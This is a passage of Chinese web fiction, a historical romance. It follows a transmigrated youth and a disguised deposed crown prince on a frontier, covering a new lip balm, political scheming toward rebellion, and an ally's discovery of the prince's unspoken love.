唯独在姜淮面前,萧靖昭眉目会柔和一些,而这点熟悉的柔和,加上除去上战场,姜淮几乎每日都会和萧靖昭见面,倒是没有被他的冷脸给吓退。
而且姜淮还惦记着一件事。
“这段时间你是不是又长高了?”看着萧靖昭高大的身影,姜淮满眼都是羡慕。
萧靖昭之前说他二十三岁,姜淮当时是信了的,因为萧靖昭看起来是有些年纪的,可后来,姜淮就发现萧靖昭说的年龄可能有错误,因为二十三岁了,哪怕身体再发育,也不可能跟植物抽条似的继续长吧。
可萧靖昭偏偏就是不断地长高,姜淮估摸着对方都有一米九了,这个身高放在现代都格外突出,更别提在古代了,姜淮这几年来见过的人很多,但几乎没有谁有萧靖昭这么高大。
后来他忍不住,就去问了萧靖昭,才知道萧靖昭当年才十八,所以这几年长高也很正常。
“你是不是还虚报了年纪?”姜淮盯着萧靖昭,试图盘问他。
萧靖昭眼底掠过一丝笑意,姜淮这三年来日子过得无比平顺,唯一不顺心的事便是身高,不知道是不是从小体弱的关系,加之先前在监牢吃过苦,而流放路上,就算有他看护,那一个月也是吃了不少苦头,来到安远府后一直没有怎么长。
前一年,姜淮都还好,只是一旬或者一个月量一次身高,毕竟姜淮觉得自己年纪还不算大,而且萧靖昭也没有长高,他也没有什么压力,可后面两年,萧靖昭长高了,姜淮就开始有些着急,变成每天都要量一量身高,生怕自己真的不长。
姜淮对于身高的执念倒不是很大,他也不追求萧靖昭那样的高大身材,但也不能太矮了点,过矮都看不到高处的风景了,于是各种优质蛋白,优质碳水,甚至找大夫给自己调理身体,甚至将方庖厨往营养师的方向培养。
这么大力调理下来,姜淮的身体状态确实比之前好了不少,不知道是不是身体感受到了这些变化,也跟着慢慢长了起来。
“没有再长了,只是你躺在床上,看我自然觉得我又高了些。”萧靖昭拿起一旁的皮裘,“我知道你不愿起来,不过饭也不能不吃,你先披着这身裘衣,我去给你端饭。”
萧靖昭知道,姜淮不愿意起身就是因为怕冷,哪怕屋子里烧了火坑,可要从被窝出来,却还是冷,姜家也不是烧不起火墙,只不过姜淮又嫌弃烧火墙,屋内干得慌,才不愿意烧。
只是之前没有变天,就算冷,也不至于冷到根本不敢下炕,萧靖昭也就由着姜淮了,可现在却不能了,万一冻坏了,就算姜淮现在的体质调理好了,也要大病一场,虚弱好一阵子。
更何况,姜淮还格外不喜喝药,这一病想要让姜淮喝药,那又更折腾了,所以还是做好保暖最好。
姜淮听出萧靖昭的意思,对方看他不愿意起来,但是又想让他吃早饭,所以准备让他在床上吃饭。
姜淮犹豫了下,还是挣扎着起床,他就算懒散,可在床上吃饭还是有点过于失礼了。
只是姜淮还没起身,就被萧靖昭按住了。
“安心躺着,外面太冷了。”萧靖昭说着,从一边推了一张小桌过来,摆在床边,“你就在这吃吧,吃完就躺好了,我让下人去烧火墙。”
看看小桌子,姜淮犹豫了下,还是顺着萧靖昭的力道倒了下去,只是一提到火墙,姜淮就面露难色。
他也怕冷,可比起冷,他更怕干燥,安远府冬日里本就干燥,一烧火墙,那屋子里就更干了,哪怕放了几盆水,对姜淮来说也只能算是聊胜于无。
姜淮以前没有体会过干燥,然后第一年烧火墙时就被狠狠地教训了一番,鼻子干到出血,脸上更是干到紧绷起来,还好找大夫买了些面脂,才不至于让脸干得太过分了。
可干燥影响的重灾区是嘴唇,脸上涂面脂,哪怕油,但是忍一忍就过去了,可嘴上涂了口脂,那种油腻的感觉谁涂谁知道,因为过于油腻,导致姜淮涂着涂着就忍不住将嘴上的油脂给擦掉或者舔掉,可不擦又干,又得继续涂。
不涂的话,嘴唇干裂,完全不敢笑,也不敢说话,甚至连吃饭都会让嘴唇干裂出血。
为了让口脂好上嘴,姜淮特意拨了一些钱,找了几个大夫,让他们研究下怎么制作润唇膏,姜淮对润唇膏的制作流程不太清楚,但是也看过一些手工唇膏的制作过程,其中的原材料就有蜂蜡,结果好用的润唇膏还没有做出来,倒是做出了口红,又让商队赚了不少钱。
第53章 第 53 章
下人送来了洗漱用水, 姜淮抖着下床,飞快洗漱完,又爬上了床。
“听说又新做了一款润唇膏, 保湿效果不错,我待会拿过来,你擦下看看。”萧靖昭扭头, 看到姜淮脸上还挂着一些不情愿, 知道他在在意什么。
“新的润唇膏?”姜淮一下子被转移了注意力,眼睛亮晶晶地看向萧靖昭, “是什么口味的?”
说起润唇膏, 草药香气是最早做出来, 或者说这就是润唇膏的原味, 虽然效果不错, 可擦在嘴上,姜淮闻着草药味都有点晕。
改进后变成了淡淡的清香, 可姜淮最想要的是水果香气, 因为润唇膏一般是秋冬才用上,而这个时候, 新鲜的水果就不多见了,秋季还好, 冬日里,存放下来的果子都不新鲜,香气也淡了许多,可越是稀罕, 人就越想要了。
“是甜橙味, 据说很是香甜。”萧靖昭从门外接过下人送来的早膳,转身回道。
“橙子香啊!”姜淮眉开眼笑, 虽然不是他最期待的苹果香,但是橙香他也喜欢。
将早膳放到桌上,姜淮注意到旁边有一支包装好了的膏状物,惊喜地拿起来,一闻,一股淡淡的橙香飘散开来,甜滋滋的,让姜淮想要立刻就擦。
“你不先用饭吗?”萧靖昭出声。
姜淮看了看送来的包子,还有一小碗粥,包子也就罢了,吃的时候可以避免接触嘴唇,但是喝粥就很难不舔唇,他现在擦了唇膏,待会就吃没了,虽然这甜橙味的唇膏闻着是很香甜,但吃起来肯定就不太好了。
姜淮收回蠢蠢欲动的手,老实地拿起包子,一口下去,奶黄馅香甜可口,面皮柔软蓬松,尤其是包子做得不大不小,姜淮四五口就吃完了一个,然后接着下一个。
看着姜淮食欲极好的样子,萧靖昭本来都吃饱了,可也忍不住拿起一个包子吃了起来。
姜淮乐得萧靖昭帮他解决一部分早餐,不知道是不是因为有段时间他觉得自己吃太多,想要控制下饭量,然后被萧靖昭发现了,自那之后,萧靖昭就会催着他多吃一点,时不时地给他塞几口。
这早餐自然也不例外,只有姜淮吃撑的份,绝对没有他想吃却不够的份。
吃完饭漱过口,姜淮就迫不及待地尝试起润唇膏来,因为不是对着镜子涂抹,姜淮手一歪,就将唇膏给涂出了嘴唇所在的范围。
“是不是涂歪了?”姜淮有所察觉,仰头看向萧靖昭。
冬日暖光穿过半透明的玻璃照了过来,红润的唇.瓣上涂抹了一层唇膏,泛着淡淡的光泽,有些扎眼。
姜淮想喊萧靖昭帮他拿下镜子,他好擦掉涂出来的唇膏。
萧靖昭突然俯下身,眼睛紧紧盯着姜淮的脸。
“有什么脏东西吗?”姜淮以为是刚刚吃饭有食物沾在脸上,下意识抬手摸脸。
只是姜淮还没有来得及碰到脸,冰凉的手指已经从唇角微微擦过,带着微微的痒意,让姜淮不自觉抖了下。
“唇膏擦出来了,我给你擦掉。”萧靖昭避开姜淮的视线,轻声解释道。
不等姜淮继续说话,有下人过来通传,说是卫将军和孟大人来了,萧靖昭起身离开。
等萧靖昭离开,姜淮才长出一口气,刚刚的气氛姜淮感觉挺正常的,但不知道为什么,就浑身紧绷,让他莫名地紧张起来。
姜淮手指下意识抚向刚才被萧靖昭碰过的地方,不知道是不是因为对方的手有些冷,到现在,这里还有点微微的麻痒,像是被电了一下似的。
这种感觉姜淮以前没有过,但是没有吃过猪肉,也见过猪跑啊。
姜淮忽然想起现代的室友提起暗恋的人,说什么递笔给对方的时候,手指一不小心碰到了,全身就像过电一般,酥酥麻麻的,这么形容的话,他刚才好像就算过电了,虽然没有对方形容的那么夸张。
姜淮陷入沉思,莫非他也对萧靖昭有什么好感吗?
不过姜淮忽然又想起一点,冬日的静电非常厉害,因为越是干燥,静电就越强,刚才该不会是有静电打到他了吧。
姜淮心底刚刚冒出的小嫩芽一下子又被突然出现的猜测给掐灭了,找到个合适的理由后,姜淮也不再继续往下想了,拉了拉被子,继续睡觉吧,冬天就是适合睡觉的好时候啊。
……
正堂内,卫轩孟原和萧靖昭说着什么,萧靖昭垂眸静听,手指却不自觉地摩挲起来,一股淡淡的橙香在指尖萦绕,因着屋内温暖,香气扩散得也快,哪怕是坐在一边的卫轩也注意到这股浅淡的香气。
虽然并不在意,可卫轩还是忍不住顺着香气找到了源头:萧靖昭的指尖。
萧靖昭喜欢这种香吗?
卫轩脑海中冒出疑问,话语也不自觉停顿了一下,孟原何等敏锐,自然也发现了卫轩的小动作,顺着卫轩的目光看了过去,也注意到萦绕在萧靖昭指尖的淡淡橙香。
“这是昨日制成的橙香润唇膏吧,还正想和魏大人说呢,没想到魏大人就已经拿到了。”孟原是卫轩的幕僚,本来不该知道润唇膏的小事,可谁让润唇膏关系着安远府的税收收入呢,药坊那边一做好,他这边就收到了消息。
“就有新品出来了?”卫轩也起了兴趣,“用得怎么样?”
如果可以的话,卫轩希望这润唇膏早点拿出去卖,口脂自古以来就有,姜淮之前让药坊的人意外做出了口红,然后又弄出了一些润唇膏,刚开始卫轩还不太在意,毕竟在他看来,这只是擦在嘴唇上的东西,哪怕一支唇膏的量并不算多,可想要用完也不容易,自然也就赚不到太多的钱。
可很快,市场的反应就给了他一个响亮的嘴巴,让他知道口红和唇膏的魅力。
一开始还只是口红卖得好,毕竟一般也只有干燥的时候,唇膏才有用武之地,可后来,唇膏和口红成了一套,因为有女子擦过唇膏再去涂口红,感觉嘴唇没有那么干涩了,擦着更为润滑,口红也更好上色,还不伤嘴唇。
这一下,唇膏蹭上了口红的东风,直接从一款秋冬限定产品变成了一年四季都能畅销的商品。
如果只是这样也就罢了,唇膏和口红哪怕天天涂,嘴唇就那么点,也不好用完,但是新品出现了,变一个颜色,变一个包装,换着改变口红.唇膏的香气,一经推出后就受到了热烈欢迎。
甚至一些包装精致,颜色奇特的口红.唇膏,哪怕用的人少,可买来收集的人却不少。
不过以往的香味中,大多都是花香气,这甜橙香倒是头一次见。
卫轩说着,朝着萧靖昭脸上看去,在他看来,萧靖昭手上残留的甜橙香气肯定是擦唇膏时留下来的,刚好看看这唇膏的效果如何。
只是这一看,卫轩愣住,萧靖昭嘴唇一点也不像是擦了唇膏的样子,甚至哪怕擦完后再次擦掉残留的香气都没有。
既然不是萧靖昭擦的唇膏,那他手上的这点唇膏是从哪里来的。
卫轩心底有些困惑,但是也不好直接问出来,和孟原直接略过这个话题,转而谈起其他公事。
要说起来,安远府这几年是越来越红火,因为定安卫每年都要打击草原蛮族,打得蛮族抱头鼠窜,而一些蛮族部落之所以聚集起来攻击大周,也是想占便宜,他们都算是墙头草,哪边强大就倒向哪边,之前草原蛮族强盛,他们就跟过去了,而今显然是大周更加强盛,他们自然就调转了旗帜。
当然,这里面,毛衣的功劳也不小,养一养羊,然后剪羊毛卖钱,或者手工纺线编织毛衣,多多少少的也是一条出路。
尤其是安远府这几年的商业发达,也时不时的草原通商,有钱赚,又有保底的退路,这些部落自然也就都懒散了下来,如今他们才是最希望不起战事的人,毕竟没有战事,他们有钱赚,也能买到自己想要的东西。
别看双方现在好像关系还不错的样子,一旦开战,什么商业都会断掉,就算他们和大周关系再好,可他们不能放弃草场,到时候还是会被战事裹挟,所以还是不起战事最好。
而除去这些,姜淮的贡献也不小,卫轩也不知道为什么姜淮脑子里有那么多点子,有点想法,捣鼓一下,改善了姜淮的生活,拿出来后还能赚钱,哪怕有些是小钱,可这些小钱却又实打实地改善了安远府当地百姓的生活。
当然,安远府日子过得好也离不开皇帝的‘帮扶’。
一是皇帝对萧靖昭的扶持,卫轩最开始知道这事的时候,整个人都傻了,差点以为皇帝是发现了萧靖昭的问题,来试探的,直到后来,皇帝为了提高萧靖昭的地位,虽然依旧拖延,可居然还是给了些粮草,这让卫轩只能相信,皇帝是真的没有认出萧靖昭。
而这么一帮扶,也着实是减轻了安远府的经济压力,毕竟赚得再多,花钱的地方更多,能从皇帝手中拿点银子粮草,也算是给他们省了点。
二来就是皇帝送来的文官,安远府武将多,可文官并不多,更别提有能力的文官,但是这几年下来,皇帝贬谪了好些官员,安远府就能从中顺水摸鱼,一下子就给安远府捞了好些有能力的文官。
本来一些文官也不该贬到安远府,可因为皇帝的这些操作,底下其实已经有些乱了,只要安远府这边的动作小点,除了文官本人,和其他格外关注的人,都没人知道这些官员最后到底去了哪里。
第54章 第 54 章
这些被贬谪的文官不被皇帝放在眼里, 皇帝贬责完,只要这些官员不再出现在他的目光中,皇帝自然也不会去想这些文官去了哪里。
而在朝堂上留下的官员, 一部分为这些官员担忧,但是皇帝偏信奸臣小人,他们留在朝堂上也是自身难保, 自然也没有办法多关注这些文官去了哪里。
而格外关注的那些官员, 就算发现了一点问题,可他们也不敢动什么手脚, 只能偷偷观察, 发现这些人被送到了安远府, 一个个都是庆幸不已。
他们倒是没有想过萧靖昭就在安远府, 卫家带走这些文官是想用他们来治理州府, 只当卫家还和之前兴盛时一般,为皇帝的荒唐行为善后。
毕竟这些文官要真按照皇帝的安排贬谪下去, 路上的病死, 抵达贬谪地后病死的,绝对都不会少, 这去了安远府,还算是多了一条活路。
放以前, 安远府也是苦寒之地,可这几年,安远府在京都人眼中也从苦寒之地变成环境虽然苦寒,可好东西也不少的好地方。
据说安远府附近州府的富贵人家都常去那边玩, 因为安远府将吃喝玩乐的地方都准备妥当了, 去玩的人都玩得不亦乐乎,离开前还要带上不少新品特产, 有些卖得多,又恰好买到一些人急需的产品时,回来的路上转手一卖,这一路上吃喝玩乐花掉的钱都能赚回去。
当然,毕竟不是每一样货品都能让人高价收购,这就要求买货的人眼光足够敏锐,提前猜准什么货物才是最畅销的。
一开始只是有个别人这么做了,可等对方赚到一笔钱,大肆宣扬下,不少去安远府游玩的人都选择多买一些回家,不过一部分家资不算丰厚的,胆子也小点,只敢稍微多买一点,实在不行还能自用,就算如此,也还是让安远府又多赚了银子。
更别说有钱的人,他们买起来就更多了,因为他们买不是为了赚钱,而是为了炫耀自己眼光精准。
这些消息都直接传到了京都来,让不少京都人都有些羡慕,只可惜安远府距离京都实在是有些远,普通百姓根本没有办法过去,也只有一些商队去得频繁,至于世家大族,哪怕对安远府有兴趣,可除非实在任性,也没有几个人闹着要去安远府一趟。
只是这么一来,安远府在京都人看来就有些不一样了。
因着这点,后续再有官员被贬谪时,注意到有人动手脚,知道情况的官员都偷偷地帮了一把,将破绽都抹得干干净净,任谁都发现不了不对劲,除非有认识官员的人深究这点,都追到贬谪地去,才可能发现真相。
不过朝堂上被皇帝提拔起来的臣子们怎么舍得浪费时间精力去追查这些失败者,在他们看来,这些都是被皇帝厌弃了的废人,不管有什么想法,只要切断他们和皇帝的联系,让皇帝再也看不到他们,这些人也就没有翻身的能力。
就算有些谨慎点的发现有问题,可他们去追查,其他人不追查还攻讦他们,追查也持续不下去,不得不将全部精力放在了朝堂的斗争上。
而这么三年下来,那些提供帮助的官员意外发现,他们之前的行动竟然帮到了自己,因为他们有些人也成了被贬谪排挤的一员。
朝堂上留下来做事的人越来越少了,有些人哪怕没有被贬谪流放,可也丢了官职,赋闲在家中。
短短三年多的时间,如果卫轩回京都,大概会惊讶地发现朝堂上熟悉的人影少了许多,而留下来的要么只在朝堂上当个木头人,对于任何事都不发表看法,只埋头干活,要么就时不时在家歇着,因为被气的。
留在京都的官员都不懂,皇帝怎么就变得这么快,现在再回想四年前,简直恍如隔世。
四年前,他们都以为那只是皇帝被人蒙骗,或者说一时放纵,即便卫家和姜家在这场放纵中损失惨重,可官员们讨论归讨论,对皇帝还是敬重的。
可现在回头看看,四年前已经是最好的时光了,之后真是一年不如一年。
身边熟悉的有能力的同僚被一些小人攻讦,或贬谪流放,或赋闲回乡,处境更差些的甚至直接性命不保,而现在再看,被打包打走去了安远府的犯官居然处境更好。
留在京都还有些良心,又知道安远府情况的官员,一个个的甚至恨不得自己也能去安远府算了,安远府虽然偏僻,可如今也只比京都差一些了,在那里,起码是做些实事,好过待在京都受气,还要受良心谴责。
只是皇帝快乐地贬了三年的官,如今也发现这朝堂上满是拍他马屁的官,做实事的官员少了,虽然这些做实事的官说话让他不开心,可也不能一个不留,也不怎么贬官了,让这些想走的官员都走不了。
至于说直接辞官,然后再去安远府,这些官员也做不出来,更何况他们也担心真这么走了,万一被皇帝发现端倪,那安远府那边岂不是要暴露了。
刚开始的时候安远府这么做,他们还当是卫家为皇帝善后,可现在,朝堂上不少有能力的官员都被安远府接走安排了,还真在官府里做实事,他们想这么说也说不出来了。
虽然不清楚卫家到底是想造反,还是有别的心思,可其他官员已经默认,安远府那边肯定有什么不对劲的,那这不对劲的情况自然不能让皇帝注意到。
当然,一些人心中已经有了些隐隐的猜测,但是这个猜测谁也不敢说出口,都只在心中不断地揣测,太子是不是就在安远府,不然卫家怎么敢接收这么多文官过去,要知道卫家这么做,除非卫轩是真打算造反,不然不管之后是谁继位,只要发现这事,卫家自然要被忌惮。
没有哪个皇帝能忍受自己手下的官员曾经受过一个武将的恩惠,这不是一两个官员,这么多官员,加上卫家的军权,哪怕卫轩没有太多想法,也容易动摇国本,可要是太子在的话,那就解释得通了。
更何况那些文官也都安稳地在安远府做事,他们远在京都不了解情况,这些人就在安远府,说不定就发现了些蛛丝马迹。
只是怎么一个个的都不吭声,一点消息也不透露,让他们这些在京都的人都忐忑不定,只能满脑子乱猜。
留守京都的官员都有些烦闷,只是他们也知道,这消息只能放在心里猜测,不能落在纸上,哪怕是让人传话,可谁知道这消息传递的时候是不是会出问题,万一被人发现,那就麻烦大了,毕竟这四年,皇帝虽然对安远府也有些关注,但不像是猜测到这点的样子。
这要是因为通消息导致暴露,他们都不敢想象这一幕。
如今,他们也只能想要安远府这边要有什么行动,那就快点行动吧,让他们早点知道卫轩到底是想干什么,这么猜测太煎熬了些。
这些官员的焦虑萧靖昭和卫轩并不清楚,不过,蛰伏这么几年,也是时候该行动起来了,卫轩和萧靖昭聊完了其他公事,就说起这件事。
现在算是最好的时候了,经过这些年的打击,草原蛮族已经是不敢动了,有些甚至选择往西北处搬迁,避免每年都要被定安卫锤一顿,这一锤又一锤的,哪怕有些部落血厚,还可以掠夺其他部落,也着实吃不消。
与其在大周这边挨锤,还不如往西北走,虽然那里更加苦寒一些,可南下更难,两条路,一条是彻头彻尾的死路,另一条虽然艰难,可还算是活路,要怎么选,这些人还是有自己的判断。
而没有这么蛮族的存在,卫轩敢断定,皇帝肯定会想削减兵力,哪怕萧靖昭在皇帝眼中还是自己人,皇帝这些年为了扶持萧靖昭,还给了不少粮草,可一个萧靖昭带来的好处还不足以让皇帝继续容忍安远府拥有这么多的兵力。
之前能有这些兵力,还多亏了安远府这边一直说草原蛮族如何凶残,每年都要犯边,加上这些草原蛮族在草原是真生活艰难,总是南下掠夺,皇帝是真担心这些蛮族打进大周,毕竟从安远府到京都虽然远,可关卡没有太多,一旦被攻破了,以草原蛮族骑兵的速度,抵达京都的速度极快。
为了自身安全,皇帝才让安远府屯兵抗击蛮族,可要是蛮族往西北走的消息传开,哪怕只是走了一部分,皇帝肯定是要削减兵力,或者说将这部分兵力分散到其他地方。
如果他们还要维持明面上对皇帝的恭敬,那这件事只能拖延一会,却不能直接反对,所以现在的选择很关键了。
是继续蛰伏,积蓄足够的能量,还是准备掀桌子了。
“距离太子造反,已经过去了四年多吧。”萧靖昭忽然开口道。
卫轩不明所以,可还是点点头,确实已经四年多了。
萧靖昭闭眼,脑海中闪过东宫被熊熊火焰点燃的模样,同时闪过的还有姜淮曾经说过的一句话,五年后太子登基,姜家平反。
他当时并不相信,不光是因为不信托梦这一说法,也是因为他觉得五年的时间有些短暂了,哪怕皇帝做事荒唐,可五年的时间,他想要造反成功,概率也极低,可谁想到,这才四年多,皇帝居然已经自毁长城,而安远府竟然也积蓄够了充足的力量。
时间确实差不多,该行动了。
第55章 第 55 章
等谈完事, 已经到了午时,孟原选择告退,可卫轩却没有动, 选择留在姜家蹭一顿饭。
要说这安远府哪里美食最多,厨子手艺最好,毫无疑问就是姜家。
许是因为姜淮将炒菜的技法传了出去, 每个学会炒菜的庖厨在创造了一道新菜式后, 都不约而同地将菜谱拿了出来,送到姜家, 这也算是他们的一份心意。
一两个庖厨送来的菜谱不多, 可随着炒菜逐渐发扬光大, 送来的菜谱越来越多, 而方庖厨作为姜家独有的厨子, 自然也将这些菜谱全部学到手了,对方厨艺本就了得, 更不要说还吸收了其他庖厨的经验, 这下厨艺就更加精湛。
和方庖厨比起来,自家的厨子就差得远了。
临近午饭, 姜淮抖抖搜搜地爬了起来,穿上厚实的衣物, 将自己裹了个严严实实的,才顶着风去了偏厅用饭。
“卫哥!”看到卫轩,姜淮懒洋洋地挥了挥爪子,算是打个招呼。
“你又这么晚起, 若是姜太傅看到你这样……”卫轩对于姜淮的晚起习以为常, 只是想到刚才和萧靖昭说的事,有些无奈地摇摇头。
若是不出意外, 明年他们就能回京都了,姜淮自然也要跟着一起去,姜太傅他们也得回京。
以姜太傅的性情,看到姜淮如此懒散的模样,恐怕会看不惯,姜淮就得吃苦了。
“再见祖父得回了京都吧。”姜淮打了个哈欠,“等那时候,祖父肯定要忙于政务,哪里会待在家中看到我晚起,只要瞒严实点不就行了。”
“再说,说不定我到时候会在京都买房别居,这也不一定嘛!”
卫轩顺着姜淮的说法想了想,不由自主点头,以姜淮如今的家业,住在姜府或许还不如出来住舒服,至于说姜家其他是不是会不同意,以他对姜淮如今的了解,对方已经能决定自己的事了,更何况还有萧靖昭在一边。
不对……
卫轩一个激灵,姜淮怎么就想到姜老太傅回京都的事,态度甚至如此笃定,就好像知道什么。
如果姜淮参与进谋反的事,知道一点内情,卫轩反应都不会这么大,可姜淮,哪怕对方为谋反之事提供了帮助,可他们都没有让姜淮参与进来,因为这事太危险,压力也太大了。
最主要是萧靖昭的态度不太情愿。
可现在,姜淮的态度让卫轩怀疑姜淮是不是知道什么。
卫轩有些忧虑,但是转念一想,姜淮现在知道一点什么,也没大问题,因为马上就要发生巨变,姜淮提前有点心理准备也挺好的,毕竟到时候什么都变了,萧靖昭的身份也瞒不住了。
姜淮不知道他的一番话让卫轩思虑变重,坐到椅子上,等着上菜。
这天冷了,炖菜和汤都不好太提前做,不然要不然口感变差,要不然菜品就有些凉了,炒菜就更别提了,如果不是现做,稍微耽误一会,猪油凝结成白色的油花,菜也凉了,根本就吃不下去。
偏厅也是少了火墙,暖烘烘的,姜淮暖了暖身子,才皮裘脱下,走路的时候穿着没事,可吃饭的时候也穿着,就有些束缚手脚了。
姜淮端起茶杯喝了口热茶,有水珠在嘴唇残留。姜淮不自觉舔了舔唇,将水珠舔走,也顺带着将残留的唇膏也舔去了一部分。
不过这一舔,倒是让姜淮发现这新润唇膏效果是真不错,擦在嘴上的油腻感不重,他还以为是轻薄款,但是不太保湿,可现在嘴唇居然还保持着微微湿润的状态,这效果真是太好了。
姜淮忍不住拿出唇膏准备再擦一层,只是还不等他擦上,姜淮就看到卫轩一直盯着他看着,像是发现了什么不对劲似的。
姜淮下意识低头,在身上逡巡一圈,没有问题,衣裳没有穿反,也没有污渍,难道是脸上有什么东西?
“淮哥,这唇膏是……”卫轩开口,看向姜淮手上那支唇膏的目光很是严肃。
“这是刚做出来的新唇膏,我试了一上午,效果特别好,卫哥你要不要……”姜淮以为卫轩是好奇,说着拿起唇膏想要让卫轩试试。
“不用了。”卫轩猛地摇头,见姜淮愣愣地看着他,意识到自己的反应过于激烈了,挤出一丝笑容来。
“这唇膏甜橙香气太浓了,不太适合在军中用。”卫轩找了个借口,当然,也算不得是借口,甜橙香气虽好闻,却不符合卫轩的喜好,在军中要用这种甜橙香气的唇膏,也有损将领威严。
萧靖昭过来时,就看到卫轩沉静表情下的不对劲,似乎是透着淡淡的焦虑,尤其是看到他来,表情更是微微一变。
而姜淮……
姜淮看到萧靖昭到了,高兴起身,拉着萧靖昭坐下,兴高采烈地和他说起方庖厨最近做出来的美食,明明说的是最寻常不过的话题,却让萧靖昭微微皱着的眉心慢慢舒展开来。
在萧靖昭进来后,卫轩就时刻注意着他的表情变化,看到萧靖昭面对姜淮时的状态,提着的心是彻底沉了下去。
萧靖昭指尖沾染了残留的唇膏,而姜淮恰好擦了唇膏,而这唇膏还是刚刚做好送过来的,那什么情况下会让萧靖昭指尖沾染唇膏呢?
卫轩也想说服自己,或许是萧靖昭拿的时候一不小心碰到了,但是现在萧靖昭的表现让他很难说服自己。
而且哪怕唇膏的猜测是他猜错了,可现在萧靖昭的表情做不得假啊!
卫轩冥思苦想,发现了一件因为过于寻常,导致被他忽略的事。
这三年多里,萧靖昭的脸是越来越冷,行事作风也是冷酷无比,只是他一直都没有太在意。
为什么呢?
因为在军营中,大部分的将领都会保持一个冷脸,好威慑下属,毕竟军中将领若是没有威严,就管不住手下的兵士,更何况萧靖昭在战场上阵杀敌不少,神情愈发冷硬也实属正常。
可除了军中,卫轩最常见到萧靖昭的地方就是在姜家,而在姜家,哪怕姜淮不在身边,萧靖昭的态度都会变得柔和一些,仿佛在这里和别处就是不一样。要是姜淮在,那就更别说了,眉目柔和到卫轩恍惚地以为现在还是几年前。
长年累月下来,之前身处其中,卫轩都不觉得有什么问题,可现在乍然清醒,卫轩就意识到不对劲了。
什么感情才能让萧靖昭面对姜淮,甚至只是待在姜家,都能表现出和在外面截然不同的神态呢?
卫轩脑子里猛地冒出一句话:如果这都不算爱!
这话是他偶然一次听姜淮说起的,当时觉得这话挺有意思,可现在,发现这话套到了萧靖昭身上,卫轩不知道自己该用什么表情,什么态度来面对。
这顿饭做了不少卫轩喜欢吃的菜,放在平时,卫轩能大吃一顿。可现在,看着姜淮和萧靖昭你给我夹点菜,我给你盛汤,时不时还要递块帕子给姜淮擦手,萧靖昭对着姜淮的各种呵护,卫轩食不下咽,味同嚼蜡。
“卫哥,你才吃这么点?”姜淮吃饭间隙还注意着卫轩,发现他才吃了那么点,顿时有点担心。
“是不是今天的饭菜不合口味?”姜淮问着,扫了眼桌上的菜色,他虽然不全记得卫轩的喜好,可也看出这桌上有好几盘菜是卫轩很喜欢的菜色,可如今,这几盘菜卫轩似乎都没有动过。
姜淮吃了一口他也没有吃的那道菜,味道和之前一模一样啊,没有什么问题。
见姜淮注意到卫轩,萧靖昭停下手中的动作,跟着看了过来,卫轩被他看得心头一堵,更加难受了。
“没什么,只是早上吃得似乎有些多了,刚才又在想事情,就忘了吃。”卫轩笑了笑解释道,大口大口的吃了起来,其实他哪里还吃得下去,只是不想让姜淮担心。
从姜家出来,萧靖昭被姜淮催着出来送送卫轩,放在平时,卫轩定然是有些话想和萧靖昭说,可如今,一路沉默地出来。
“……”卫轩看着萧靖昭,喉结滚动,有些话想要说,可对上萧靖昭的目光,却怎么也吐不出来了。
两人沉默地对视了一会,卫轩首先撑不住,挪开视线,有些丧气,心底却也松了口气。
他就算知道了萧靖昭的心思,可他也不知道该说些什么。
劝阻?
卫轩清楚,他是劝不动的,不提现在,就三年多前,萧靖昭就已经有这个苗头,只是他发现归发现,说了一些话,可也没有多说什么,那个时候萧靖昭和姜淮才接触多久,他都劝不动,那现在说再多,怕也没用。
至于支持,卫轩清楚,他也说不出口,如果萧靖昭喜欢的不是姜淮,为了让萧靖昭高兴,他是不在乎被喜欢的那个人会是什么想法,会怎么样,可姜淮要是真和萧靖昭在一起,生前还好,有萧靖昭在,总不至于让姜淮受委屈,除非姜淮不喜欢萧靖昭。
可身后名,帝王所喜的男子能有什么好名声吗?想到史书上的佞幸记载,卫轩心情沉重。
第56章 第 56 章
“卫哥是什么情况啊?”看到萧靖昭大踏步地回来, 姜淮探头,脸上挂满好奇。
卫轩刚才搪塞的演技其实瞒过了姜淮,只是胃口不好, 吃下去的饭菜就不如之前多了,姜淮扫一眼桌上的饭菜就看出问题了,但是卫轩不和他说, 说不定会和萧靖昭说呢。
“你想知道?”萧靖昭唇角微微翘起, 眸光有些深沉。
姜淮本来只是单纯地好奇,可看到萧靖昭这般神秘态度, 心头一紧, 没等姜淮深思, 下意识便摇摇头:“要是什么机密就别和我说了吧, 保密好有压力。”
为了遮掩心底的慌乱, 姜淮随手拿起一块切好的橙子吃了起来,虽然饭菜吃饱了, 但他还有个空出来专门装水果的胃呢。
不过这橙子还真挺甜的。
姜淮一下子就被橙子给转移了注意力, 一口一口地吃着橙子。
将姜淮的小动作尽收眼底,自然, 姜淮的情绪变化也被萧靖昭看在眼里,看着姜淮就这么被转移了注意力, 萧靖昭心中叹气,今日怕是又不能点醒姜淮了。
他不知道该说姜淮敏锐还是不敏锐,要说敏锐,可他的表现如此明显, 只是没有明说, 姜淮看着就像是不懂,可要说不敏锐, 每次他想提起这事,姜淮就会下意识地避开。
如果不是对姜淮有足够的了解,知道对方不是在他面前演戏,萧靖昭都要怀疑姜淮是在故意装傻了。
其实姜淮倒也不是完全没有看出来,毕竟萧靖昭对他的关切姜淮是可以感受得到,但是两人相处的时间太长了,萧靖昭一直都是这么照顾他,纵使偶尔姜淮会往这方面想,但是很快就会打消这个念头,觉得是自己想太多。
毕竟这个问题,姜淮也不可能直白地问萧靖昭是不是喜欢他,万一萧靖昭没有这个心思,那岂不是连现在的关系都维持不下去了。
最关键的是,姜淮自己也有点摸不清他的想法,只能就这么继续相处下去,直到他弄清自己的心。
当然,姜淮现在不开口,也是考虑到五年的时间就快要到了,他要说开口,影响到萧靖昭怎么办,对方如今是安远府仅在卫轩之下的武将,等太子起兵,到时候肯定是要上战场。
战场瞬息万变,如果让对方还要记挂感情的事,受到不好的影响,万一出什么事,姜淮都不敢原谅自己。
所以,姜淮决定再等等,等他们回了京都,情况稳定下来了,能够更加安心地说这事,而且他也需要理清一下思绪。
如果他真的要和萧靖昭在一起,他不可能躲在对方身后,让对方去解决其他问题,毕竟姜淮对这次的感情很重视,如果真的要在一起,他是不会娶妻生子,自然也不会允许萧靖昭也娶妻生子。
萧靖昭好像没有什么家中长辈,大概不会受到压迫,可他要是不娶妻生子,要不要过继子嗣也不确定,姜家大概率会反对他和萧靖昭的恋情,为了预防这个,他得先做好各种准备。
对了,还得小心姜家人将气撒在萧靖昭身上,尽管这个可能性很小,以姜家的行事作风也不至于做出这种恶事,但是姜淮不敢说姜家人一定不会这么做。
